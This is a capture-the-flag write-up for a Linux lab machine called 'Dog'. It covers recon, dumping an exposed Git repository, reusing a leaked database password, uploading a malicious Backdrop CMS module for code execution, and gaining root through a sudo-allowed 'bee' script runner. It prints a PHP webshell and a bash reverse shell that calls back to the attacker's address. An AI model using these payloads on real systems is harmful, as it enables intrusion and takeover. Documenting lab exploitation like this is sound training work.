by 0xW1LD
To start off we’re given an IP address:
1
10.129.218.143
nmap
finds the following ports open:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEJsqBRTZaxqvLcuvWuqOclXU1uxwUJv98W1TfLTgTYqIBzWAqQR7Y6fXBOUS6FQ9xctARWGM3w3AeDw+MW0j+iH83gc9J4mTFTBP8bXMgRqS2MtoeNgKWozPoy6wQjuRSUammW772o8rsU2lFPq3fJ
CoPgiC7dR4qmrWvgp5TV8GuExl7WugH6/cTGrjoqezALwRlKsDgmAl6TkAaWbCC1rQ244m58ymadXaAx5I5NuvCxbVtw32/eEuyqu+bnW8V2SdTTtLCNOe1Tq0XJz3mG9rw8oFH+Mqr142h81jKzyPO/YrbqZi2GvOGF+PNxMg+4kWLQ559we+7mLIT7ms0
esal5O6GqIVPax0K21+GblcyRBCCNkawzQCObo5rdvtELh0CPRkBkbOPo4CfXwd/DxMnijXzhR/lCLlb2bqYUMDxkfeMnmk8HRF+hbVQefbRC/+vWf61o2l0IFEr1IJo3BDtJy5m2IcWCeFX3ufk5Fme8LTzAsk6G9hROXnBZg8=
| 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM/NEdzq1MMEw7EsZsxWuDa+kSb+OmiGvYnPofRWZOOMhFgsGIWfg8KS4KiEUB2IjTtRovlVVot709BrZnCvU8Y=
| 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPMpkoATGAIWQVbEl67rFecNZySrzt944Y/hWAyq4dPc
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
|_http-title: Home | Dog
|_http-favicon: Unknown favicon MD5: 3836E83A3E835A26D789DDA9E78C5510
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-git:
| 10.129.218.143:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: todo: customize url aliases. reference:https://docs.backdro...
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 22 disallowed entries
| /core/ /profiles/ /README.md /web.config /admin
| /comment/reply /filter/tips /node/add /search /user/register
| /user/password /user/login /user/logout /?q=admin /?q=comment/reply
| /?q=filter/tips /?q=node/add /?q=search /?q=user/password
|_/?q=user/register /?q=user/login /?q=user/logout
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
When visiting the http server we’re greeted with a blog for dogs:
It’s created on Backdrop CMS
The nmap
scan also revealed a .git
directory
We can use git-dumper
to download this repository:
1
2
3
4
5
6
7
8
9
10
11
git-dumper http://dog.htb/git/ git
[-] Testing http://dog.htb/.git/HEAD [200]
[-] Testing http://dog.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dog.htb/.git/ [200]
[-] Fetching http://dog.htb/.gitignore [404]
[-] http://dog.htb/.gitignore responded with status code 404
[-] Fetching http://dog.htb/.git/objects/ [200]
[-] Fetching http://dog.htb/.git/HEAD [200]
<SNIP>
Looking around at the files in the git repository we can find a password in settings.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cat settings.php
<?php
/**
* @file
* Main Backdrop CMS configuration file.
*/
/**
* Database configuration:
*
* Most sites can configure their database by entering the connection string
* below. If using primary/replica databases or multiple connections, see the
* advanced database documentation at
* https://api.backdropcms.org/database-configuration
*/
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';
BackDropJ2024DS2024
Additionally we can find a user in files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cat files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json
{
"_config_name": "update.settings",
"_config_static": true,
"update_cron": 1,
"update_disabled_extensions": 0,
"update_interval_days": 0,
"update_url": "",
"update_not_implemented_url": "https://github.com/backdrop-ops/backdropcms.org/issues/22",
"update_max_attempts": 2,
"update_timeout": 30,
"update_emails": [
"tiffany@dog.htb"
],
"update_threshold": "all",
"update_requirement_type": 0,
"update_status": [],
"update_projects": []
}
We can use these credentials in the Login Page which we can find in robots.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
cat robots.txt
User-agent: *
Crawl-delay: 10
# Directories
Disallow: /core/
Disallow: /profiles/
# Files
Disallow: /README.md
Disallow: /web.config
# Paths (clean URLs)
Disallow: /admin
Disallow: /comment/reply
Disallow: /filter/tips
Disallow: /node/add
Disallow: /search
Disallow: /user/register
Disallow: /user/password
Disallow: /user/login
Disallow: /user/logout
# Paths (no clean URLs)
Disallow: /?q=admin
Disallow: /?q=comment/reply
Disallow: /?q=filter/tips
Disallow: /?q=node/add
Disallow: /?q=search
Disallow: /?q=user/password
Disallow: /?q=user/register
Disallow: /?q=user/login
Disallow: /?q=user/logout
We’ve successfully entered the admin dashboard
!:
Looking around we notice that we can install modules:
There aren’t any custom modules we can find:
However we can do a manual installation which will allow us to upload a custom module:
Looking around for exploits for this we can find BackdropCMS 1.27.1 Authenticated RCE We can confirm our version is the vulnerable version and checking out one of the modules:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cat core/modules/user/user.info
type = module
name = User
description = Manages the user registration and login system.
package = System
tags[] = Account Management
version = BACKDROP_VERSION
backdrop = 1.x
required = TRUE
configure = admin/config/people
stylesheets[all][] = css/user.css
; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662
Although a full automation PoC is provided I prefer to do it manually.
So let’s create our poc.info
file in a poc
directory:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cat poc/poc.info
type = module
name = poc
description = Manages the user registration and login system.
package = Layouts
tags[] = Blocks
version = BACKDROP_VERSION
backdrop = 1.x
configure = admin/structure/poc
; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662
Next let’s create our poc.php
file in the same directory:
1
2
3
cat poc/poc.php
<?php system($_GET['cmd'])?>
Let’s compress the poc
folder:
1
2
3
4
5
tar -czvf poc.tar.gz poc
poc/
poc/poc.php
poc/poc.info
And let’s upload and install the compressed module:
Success!
We now have a webshell!
1
2
3
curl http://dog.htb/modules/poc/poc.php?cmd=whoami
www-data
Let’s instead upload a poc
with our reverse shell command:
1
2
3
cat poc/poc.php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.158/9001 0>&1'")?>
Let’s setup a listener for our reverse shell:
1
nc -lvnp 9001
When we follow the steps to upload the module we get a reverse shell on our listener:
1
2
3
4
5
6
7
nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.158] from (UNKNOWN) [10.129.218.143] 53108
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dog:/var/www/html/modules/poc$
We can find a couple users:
1
2
3
4
5
www-data@dog$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash
When attempting to reuse the previously found password we find that it belongs to johncusack
1
2
3
4
5
www-data@dog$ su johncusack
Password: BackDropJ2024DS2024
whoami
johncusack
Let’s ssh for a more stable shell:
1
ssh johncusack@dog.htb
Just like that we have User!
We can see that user johncusack
can perform the following commands as root:
1
2
3
4
5
6
7
johncusack@dog$ sudo -l
[sudo] password for johncusack:
Matching Defaults entries for johncusack on dog:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User johncusack may run the following commands on dog:
(ALL : ALL) /usr/local/bin/bee
Let’s take a look at the binary:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
johncusack@dog$ cat /usr/local/bin/bee
#!/usr/bin/env php
<?php
/**
* @file
* A command line utility for Backdrop CMS.
*/
// Exit gracefully with a meaningful message if installed within a web
// accessible location and accessed in the browser.
if (!bee_is_cli()) {
echo bee_browser_load_html();
die();
}
// Set custom error handler.
set_error_handler('bee_error_handler');
// Include files.
require_once __DIR__ . '/includes/miscellaneous.inc';
require_once __DIR__ . '/includes/command.inc';
require_once __DIR__ . '/includes/render.inc';
require_once __DIR__ . '/includes/filesystem.inc';
require_once __DIR__ . '/includes/input.inc';
require_once __DIR__ . '/includes/globals.inc';
// Main execution code.
bee_initialize_server();
bee_parse_input();
bee_initialize_console();
bee_process_command();
bee_print_messages();
bee_display_output();
exit();
/**
* Custom error handler for `bee`.
*
* @param int $error_level
* The level of the error.
* @param string $message
* Error message to output to the user.
* @param string $filename
* The file that the error came from.
* @param int $line
* The line number the error came from.
* @param array $context
* An array of all variables from where the error was triggered.
*
* @see https://www.php.net/manual/en/function.set-error-handler.php
* @see _backdrop_error_handler()
*/
function bee_error_handler($error_level, $message, $filename, $line, array $context = NULL) {
require_once __DIR__ . '/includes/errors.inc';
_bee_error_handler_real($error_level, $message, $filename, $line, $context);
}
/**
* Detects whether the current script is running in a command-line environment.
*/
function bee_is_cli() {
return (empty($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
}
/**
* Return the HTML to display if this page is loaded in the browser.
*
* @return string
* The concatentated html to display.
*/
function bee_browser_load_html() {
// Set the title to use in h1 and title elements.
$title = "Bee Gone!";
// Place a white block over "#!/usr/bin/env php" as this is output before
// anything else.
$browser_output = "<div style='background-color:white;position:absolute;width:15rem;height:3rem;top:0;left:0;z-index:9;'> </div>";
// Add the bee logo and style appropriately.
$browser_output .= "<img src='./images/bee.png' align='right' width='150' height='157' style='max-width:100%;margin-top:3rem;'>";
// Add meaningful text.
$browser_output .= "<h1 style='font-family:Tahoma;'>$title</h1>";
$browser_output .= "<p style='font-family:Verdana;'>Bee is a command line tool only and will not work in the browser.</p>";
// Add the document title using javascript when the window loads.
$browser_output .= "<script>window.onload = function(){document.title='$title';}</script>";
// Output the combined string.
return $browser_output;
}
Looking at the help
for bee
we can see that we can execute an arbitrary php-script:
1
2
3
php-script
scr
Execute an arbitrary PHP file after bootstrapping Backdrop.
So let’s reuse our poc.php
here:
1
2
3
cat poc.php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.158/9001 0>&1'")?>
Secondly let’s ensure that we are in the correct directory:
1
cd /var/www/html
We do this because the binary looks to include several files in that directory and must pass the evaluation before running our script
Let’s run the script:
1
john@dog$ sudo bee scr /home/johncusack/poc.php
Success! we get a response on our listener:
1
2
3
4
nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.158] from (UNKNOWN) [10.129.218.143] 45186
root@dog:/var/www/html#
Just like that we have Root!
tags: diff/easy - os/linux